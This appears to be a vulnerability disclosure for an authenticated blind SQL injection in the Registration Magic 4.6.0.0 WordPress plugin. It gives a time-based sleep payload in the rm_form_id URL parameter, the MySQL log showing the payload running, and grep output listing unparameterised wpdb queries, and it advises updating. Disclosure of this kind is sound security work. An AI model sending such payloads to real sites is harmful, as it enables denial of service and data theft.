Registration Magic Version 4.6.0.0 Authenticated Blind SQL Injection in URL
Background
If you still haven’t read the preface to this discovery please take a look here.
Technical Details
Authenticated SQL Injection in Form_id field
The form_id field takes input from a number of in the front end and processes it on the backend without properly validating the input, as a result, it is possible to perform an SQL injection on the database if the correct permissions are granted. The most likely attack vector here is DOS or Information Disclosure if a successful phishing campaign is made against the administrator.
Below is the payload used to cause the DOS condition.
http://192.168.0.31/wp-admin/admin.php?page=rm_analytics_show_form&rm_form_id=(select*from(select(sleep(20)))a)&rm_tr=30
Code Breakdown
Using sudo tail –f /var/log/mysql/mysql.log, I viewed the SQL injection hitting the database.
SELECT `browser_name`, COUNT(*) AS `count` FROM `wp_rm_stats` WHERE `form_id` = '(select*from(select(sleep(20)))a)' AND `browser_name` IN
Taking a look at how the SQL queries are being generated on the back-end I noticed a number of locations wherein the use of prepared statements were missing.
grep -ri --color=always "wpdb->" | grep "form_id" plus/chronos/libs/query_builder.php: $submitters = $wpdb->get_results("SELECT `ID` FROM `$user_table` WHERE `user_email` IN (SELECT `user_email` FROM $rm_subs_table WHERE `form_id` = {$this->form_id})", OBJECT_K); plus/chronos/libs/rm_chronos.php: $res = $wpdb->get_results("SELECT * FROM {$tasks_table} WHERE {$where_clause} ORDER BY `form_id`, `task_order`, `task_id`"); plus/chronos/libs/task_model.php: $max_order = $wpdb->get_var("SELECT MAX(`task_order`) FROM {$table_name} WHERE `form_id` = {$data['form_id']}"); includes/class_rm_activator.php: $wpdb->query("ALTER TABLE `$field_table_name` ADD `page_no` INT(6) NOT NULL DEFAULT '1' AFTER `form_id`"); includes/class_rm_activator.php: $sfids = $wpdb->get_results("SELECT `form_id`, `form_type` FROM $form_table ORDER BY `form_id` DESC LIMIT 2"); includes/class_rm_dbmanager.php: $wpdb->delete($table_name, array('page_no' => $page_no, 'form_id' => $form_id), array('%d', '%d')); includes/class_rm_table_tech.php: $wpdb->query("ALTER TABLE `$field_table_name` ADD `page_no` INT(6) NOT NULL DEFAULT '1' AFTER `form_id`"); includes/class_rm_migrator.php: $form_options = $wpdb->get_var("SELECT form_options FROM $table_name_form WHERE `form_id` = $form_id"); includes/class_rm_migrator.php: $wpdb->update($table_name_form, array('form_options' => maybe_serialize($form_options)), array('form_id' => $form_id), '%s', '%d'); services/class_rm_services.php: $db_fields = $wpdb->get_results("SELECT * FROM `$table_name` WHERE `form_id` = $form_id AND `field_is_editable` = 1 AND `field_type` != 'Price' ORDER BY `page_no` ASC, `field_order` ASC");
Remediation
Update to the latest version of Registration Magic.